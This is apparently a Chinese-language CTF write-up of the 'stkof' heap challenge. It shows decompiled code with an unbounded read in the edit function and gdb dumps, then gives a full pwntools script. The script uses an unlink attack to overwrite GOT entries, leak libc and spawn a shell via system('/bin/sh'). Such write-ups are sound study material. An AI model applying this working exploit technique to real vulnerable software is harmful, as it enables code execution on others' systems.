这里有一个很坑的问题,ubuntu18和之前的版本堆的管理策略好像不太一样网上说的关于堆的策略的问题可能对ubuntu18有些不太适用。
所以环境就从原本的18改为了16
关于unlink的介绍参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/
http://yunnigu.dropsec.xyz/2017/04/05/%E5%A0%86%E6%BA%A2%E5%87%BA%E4%B9%8Bunlink%E7%9A%84%E5%88%A9%E7%94%A8/
其实最终的结果就是*p=p-0x18(64位系统)。
开始正题
程序本身就是实现了一个简单的内存管理,增加,编辑,删除。还有一个功能没什么用
开启了NX和stack保护
liu@liu-F117-F:~/virtualbox$ checksec stkof
[*] '/home/liu/virtualbox/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
liu@liu-F117-F:~/virtualbox$
在编辑函数中没有限制读入数据的数量导致了堆溢出。
signed __int64 sub_4009E8()
{
signed __int64 result; // rax
int i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v2 = atol(&s);
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v2] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
n = atoll(&s);
ptr = ::s[v2];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}
if ( n )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}
数据结构
查看内存
def exp():
Create(0x100)
Create(0x30)
Create(0x80) # 0x80 --- 0x200 is small chunk
Edit(1,"qqqqqqqq")
Edit(2,"wwwwwwww")
Edit(3,"rrrrrrrr")
gdb.attach(p)
这里存放这三个chunk的指针。
关于堆溢出找数据结构需要找2个地方:
1.申请的每一个结构体在哪
2.管理结构体的数组在哪
重要的是第二个
pwndbg> x /10xg 0x602140
0x602140: 0x0000000000000000 0x0000000002d1c270
0x602150: 0x0000000002d1c790 0x0000000002d1c7d0
上面列出了各指针的位置。
具体利用
先用unlink实现修改chunk数组中一个chunk的地址到指向chunk数组,然后修改每个chunk的指针,就能指向got表和plt表。
这里需要实现的是
1.写入一个地址。
2.向这个地址处写入数据。
实现复写got表。
exp
from pwn import *
# context.log_level = 'debug'
elf = ELF("stkof")
libc = ELF('./libc.so.6')
p = process("./stkof")
heap = 0x000000000602140
def Create(size):
p.sendline("1")
p.sendline(str(size))
p.recvuntil("OK\n")
def Edit(ID, content):
p.sendline('2')
p.sendline(str(ID))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil('OK\n')
def Delete(ID):
p.sendline("3")
p.sendline(str(ID))
p.recvuntil("OK\n")
def Delete_puts(ID):
p.sendline("3")
p.sendline(str(ID))
def exp():
Create(0x100)
Create(0x30)
Create(0x80) # 0x80 --- 0x200 is small chunk
payload1 = p64(0) # prev_size
payload1 += p64(0x20) # size&flag-->prev chunk is free
payload1 += p64(heap + 16 - 0x18) # fd heap+16 is chunk2_addr
payload1 += p64(heap + 16 - 0x10) # bk
payload1 += p64(0x20) # ?
payload1 = payload1.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload1 += p64(0x30) # global[3].prev_size
# make it believe that prev chunk is free
payload1 += p64(0x90) # global[3].size&flag-->flag[0]=0
Edit(2, payload1)
# gdb.attach(p)
Delete(3)
##################reset free_got to puts_plt####################
payload = 'A' * 16
payload += p64(elf.got['free'])
payload += p64(elf.got['puts'])
payload += p64(elf.got['atoi'])
Edit(2, payload)
payload2 = p64(elf.plt['puts'])
Edit(1, payload2)
# gdb.attach(p)
Delete_puts(2)
##################get puts_addr,system_addr,binsh_addr############
p.recvuntil("FAIL\n")
puts_addr = p.recv(6) + '\x00\x00'
print puts_addr
puts_addr = u64(puts_addr)
print "puts_addr=" + hex(puts_addr)
system_addr = puts_addr - libc.symbols["puts"] + libc.symbols["system"]
print "base_addr=" + hex(puts_addr - libc.symbols["puts"])
binsh_addr = puts_addr - libc.symbols["puts"] + next(libc.search('/bin/sh'))
print "system_addr=" + hex(system_addr)
print "puts_addr=" + hex(puts_addr)
gdb.attach(p)
Edit(3, p64(system_addr))
p.sendline(p64(binsh_addr))
p.interactive()
if __name__ == "__main__":
exp()
需要强调一点,ubuntu18不行ubuntu16可以。